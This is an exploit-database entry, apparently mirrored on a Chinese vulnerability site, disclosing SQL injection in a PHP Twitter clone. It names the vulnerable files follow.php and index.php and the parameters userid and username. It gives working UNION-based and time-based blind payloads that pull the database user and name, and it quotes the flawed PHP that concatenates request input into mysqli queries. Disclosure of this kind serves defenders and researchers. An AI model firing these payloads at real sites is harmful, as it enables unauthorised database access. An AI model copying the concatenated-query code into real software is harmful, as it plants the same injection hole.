发布 2018-08-21 漏洞条目

Twitter-Clone 1 – ‘userid’ SQL Injection

Exploit Source

# Exploit Title: Twitter-Clone 1 - 'userid' SQL Injection

# Date: 2018-08-21

# Exploit Author: L0RD

# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/

# Version: 1

# CVE: N/A

# Tested on: Win 10

# POC : SQLi

# vulnerable files : follow.php , index.php

# vulnerable parameters : userid , username

# 1) follow.php :

# Parameters : userid , username

# Type : Union query

# Type : Time-based blind

# Payloads :

userid: ' UNION SELECT 1,2,user(),4,database(),6,7%23

username: ' AND sleep(10)%23

# vulnerable code :

if($_GET['userid'] && $_GET['username']){

if($_GET['userid']!=$user_id){

$follow_userid = $_GET['userid'];

$follow_username = $_GET['username'];

include 'connect.php';

$query = mysqli_query($con, "SELECT id

FROM following

WHERE user1_id='$user_id' AND user2_id='$follow_userid'

");

# 2) index.php :

# vulnerable parameter : username

# Type : Union query

# Payload :

' union select 1,2,user(),4,5,6

# vulnerable code :

if($_POST['login-btn']=="login-submit"){

if($_POST['username'] != "" && $_POST['password'] != ""){

$username = strtolower($_POST['username']);

include "connect.php";

$query = mysqli_query($con, "SELECT id, password

FROM users

WHERE username='$username'");

相关漏洞条目